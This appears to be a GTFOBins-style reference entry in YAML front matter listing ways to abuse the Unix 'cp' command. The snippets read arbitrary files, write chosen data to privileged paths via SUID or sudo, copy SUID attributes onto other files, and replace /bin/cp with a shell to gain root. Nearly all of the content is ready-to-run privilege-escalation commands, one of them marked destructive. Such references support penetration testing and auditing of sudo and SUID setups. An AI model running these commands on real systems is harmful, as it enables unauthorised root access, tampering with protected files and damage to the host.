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40 lines
1.7 KiB
Markdown
40 lines
1.7 KiB
Markdown
---
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functions:
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file-read:
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- code: |
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LFILE=file_to_read
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cp "$LFILE" /dev/stdout
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file-write:
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- code: |
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LFILE=file_to_write
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echo "DATA" | cp /dev/stdin "$LFILE"
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suid:
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- code: |
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LFILE=file_to_write
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echo "DATA" | ./cp /dev/stdin "$LFILE"
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- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)
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code: |
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LFILE=file_to_write
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TF=$(mktemp)
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echo "DATA" > $TF
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./cp $TF $LFILE
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- description: This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another.
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code: |
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LFILE=file_to_change
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./cp --attributes-only --preserve=all ./cp "$LFILE"
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sudo:
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- code: |
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LFILE=file_to_write
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echo "DATA" | sudo cp /dev/stdin "$LFILE"
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- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)
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code: |
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LFILE=file_to_write
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TF=$(mktemp)
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echo "DATA" > $TF
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sudo cp $TF $LFILE
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- description: This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action.
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code: |
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sudo cp /bin/sh /bin/cp
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sudo cp
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---
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